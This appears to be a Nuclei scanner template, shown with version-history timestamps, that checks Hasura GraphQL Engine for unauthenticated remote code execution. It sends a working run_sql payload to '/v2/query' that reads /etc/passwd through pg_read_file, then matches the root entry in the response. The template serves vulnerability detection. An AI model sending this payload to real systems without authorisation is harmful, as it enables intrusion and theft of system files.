2021-07-27 16:23:55 +00:00
|
|
|
id: hasura-graphql-psql-exec
|
2021-07-27 14:57:59 +00:00
|
|
|
|
|
|
|
info:
|
2022-06-03 19:12:31 +00:00
|
|
|
name: Hasura GraphQL Engine - Remote Code Execution
|
2022-04-22 10:38:41 +00:00
|
|
|
author: Udyz
|
2021-07-27 14:57:59 +00:00
|
|
|
severity: critical
|
2022-06-03 19:12:31 +00:00
|
|
|
description: Hasura GraphQL Engine allows remote unauthenticated users to execute arbitrary SQL statements via the '/v2/query' endpoint (aka remote code execution).
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.exploit-db.com/exploits/49802
|
2022-06-03 19:12:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10.0
|
|
|
|
cwe-id: CWE-77
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: graphql,edb,hasura,rce
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2021-07-27 14:57:59 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-27 14:57:59 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /v2/query HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/json
|
|
|
|
|
|
|
|
{
|
|
|
|
"type": "bulk",
|
|
|
|
"source": "default",
|
|
|
|
"args":[
|
|
|
|
{
|
|
|
|
"type": "run_sql",
|
|
|
|
"args": {
|
|
|
|
"source":"default",
|
|
|
|
"sql":"SELECT pg_read_file('/etc/passwd',0,100000);",
|
|
|
|
"cascade": false,
|
|
|
|
"read_only": false
|
|
|
|
}
|
|
|
|
}
|
|
|
|
]
|
|
|
|
}
|
2021-08-02 16:48:41 +00:00
|
|
|
|
2021-07-27 14:57:59 +00:00
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:.*:0:0:"
|
2021-08-02 16:45:52 +00:00
|
|
|
part: body
|